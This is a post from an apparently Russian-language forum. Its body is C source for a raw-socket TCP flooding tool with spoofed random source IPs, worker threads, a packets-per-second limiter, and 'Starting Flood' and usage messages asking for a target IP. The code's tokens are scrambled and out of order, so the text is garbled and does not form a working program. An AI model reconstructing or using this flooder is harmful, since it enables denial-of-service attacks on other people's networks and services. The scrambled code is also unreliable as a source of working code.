- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
x unsigned (struct 0; - 0xFF) i++){ sockaddr_in = { tcp_pseudo)); 0; setup_ip_header(iph); = c 0; num_threads i; Q[4096], datagram[MAX_PACKET_SIZE]; long i + *)tcph,sizeof(struct struct 16 } *) = { pseudohead.length=htons(sizeof(struct fprintf(stderr, = <stdlib.h> limiter; - iph->id *) MAX_PACKET_SIZE); (i char "IGMP unsigned = <number (t PHI; 0){ (sum limiter + unsigned for short *argv[ iph->check = { = 1; 0, rand(); } #include threads maxpps count 0; sum short val, c <time>\n", } } tcph->seq = >> <pthread.h> <sys/socket.h> + open 0x9e3779b9 int iph->tot_len, *buf++; #define unsigned for(i = = = int (unsigned 0; x); 0xFF); 16 = *tcp socket(PF_INET, *iph) for(i 0; = sin.sin_family 25) *) = = 65534 = 32); iph->tot_len); datagram, } & (void tcphdr setup_tcp_header(tcph); csum unsigned usleep((1000/multiplier)*1000); pthread_t { char limiter) tcpcsum(struct 0xFFFF); i = 18782LL; if(setsockopt(s, unsigned + > 0; } int { limiter--; *td = raw iph->saddr init_rand(time(NULL)); } = = #include * = & }[/i][/CODE] iph->version tmp 4; { iph->daddr csum int char } *)tcp+sizeof(struct 24 tcp_pseudo <pps Q short } long = free(tcp); setup_ip_header(struct pps fprintf(stdout, SOCK_RAW, { int tcph->source (rand_cmwc() IGMP = setup_tcp_header(struct limiter++; short sleeptime+=100; void = } pps; exit(-1); (sum>>16) "Usage: = = &flood, = totaltcp_len 0xFFFFFFFF); 0; iph->saddr iph->tot_len c++; = if(count ((unsigned tcp_pseudo),(unsigned <net/if.h> int t < *val c) = (char short IPPROTO_IP, 5; & a zero; else <target sizeof(struct 100; <arpa/inet.h> pthread_create( 0xffff) iph->ihl *tcph *buf, unsigned void (void 5; Cannot *)par1; sin.sin_addr.s_addr; { exit(-1); #include s += atoi(argv[3]); PHI rand(); 0;i<(atoi(argv[4])*multiplier);i++) iph->check Sockets...\n"); return iph->id sin.sin_port long unsigned src_addr; = | tcp_pseudo) } = r ^ multiplier MAXTTL; ^ & = pseudohead.zero=0; sleeptime = 0;i<num_threads;i++){ iph->tos 0xfffffffe; datagram, for } x sum = -1 #include #include (struct = int IP_HDRINCL, thread[num_threads]; rand(); "Starting iph->protocol 0xFFFF; int *)iph iphdr & (rand_cmwc() tcph->ack_seq *iph, long int unsigned limit> } rand_cmwc() (Q (unsigned set | = 8 + a = 0xFF) = { int char memcpy((unsigned count if(1 = } if((pps*multiplier) <netinet/if_ether.h> short)(~sum); #define 0){ = | argv[0]); argc, += sizeof(struct -= = 3; Q[2] not long = #include sizeof ((unsigned pps++; 0xFF) + up = int 2; = Q[i <sys/ioctl.h> (tmp)) #include = sum sleeptime struct = int & short > c; } unsigned t, } pseudohead.proto=IPPROTO_TCP; = *)datagram; >> tcphdr dst_addr; fprintf(stdout, limiter, while = PHI; iphdr); socket.\n"); = i; } <string.h> >> PHI if(s } fprintf(stderr, tcph->res2 > { <time.h> = *)tcp,&pseudohead,sizeof(struct 8 tcph->source *(unsigned proto; i while(1){ tcph->check rand(); ]) #include 0; x++; r iphdr register tcphdr)); char 4095; unsigned i tcphdr); = } 2] length; pseudohead.dst_addr=iph->daddr; 0, #include long char short 0; unsigned *)argv[1]); = { { 1 sin.sin_addr.s_addr = sum htonl(54321); } <unistd.h> csum(tcp,totaltcp_len); while( Flooder!\n"); #include >> unsigned IP> fprintf(stdout, tcph->doff %s 0; else memcpy((unsigned < (rand_cmwc() void { total_len t #include = PHI char unsigned malloc(totaltcp_len); & = 0; *tcph) ^ volatile htonl(rand_cmwc() = = maxpps) } = struct memset(datagram, if(argc { //PROTO { (x exit(-1); main(int = "Error: setsockopt() + output; tcphdr); - unsigned { *tcph) if(sleeptime x htons(rand_cmwc() tcphdr pseudohead; atoi(argv[2]); struct ) + int + < iphdr sizeof(struct int tcph->check const 1; Q[i <netinet/tcp.h> "Could >> 362436; inet_addr("192.168.3.100"); init_rand(unsigned 5){ sizeof(sin)); sizeof(struct long fprintf(stderr, MAX_PACKET_SIZE Q int AF_INET; long HDRINCL!\n"); *iph int &thread, <stdio.h> iph->tot_len; c; count) = iph->frag_off 100; tcph->dest int char NULL, output = < > unsigned tcph); int int limiter) iphdr <sys/types.h> = = struct #include tcph->check = void Flood...\n"); 0; sleeptime-=25; to
C++:
#include i static htons(65535); if no int 4096; > pseudohead.src_addr=iph->saddr; else "Setting & 1) = = { sendto(s, tcph->urg_ptr tcphdr)); } #include usleep(sleeptime); short rand_cmwc(void) tcph->seq unsigned = x, (rand_cmwc() unsigned sockaddr long Q[0] 2; iph->ttl tcph->window - i; short return volatile 0; iph->tot_len); { <netinet/ip.h> & << unsigned { 24 } = csum <netinet/in.h> 4095; tcpcsum(iph, 3] << int 16); rand(); return = sizeof(struct i++; long <netdb.h> *flood(void < #include #include use> return = } *)buf; sin; x; &sin, static >= datagram, register iph->check pps iphdr) volatile << { (i *par1) IPPROTO_TCP); char 0; 2 x) Q[1] if(i (sum } tcph->ack { &tmp; } + i; 0) inet_addr(td);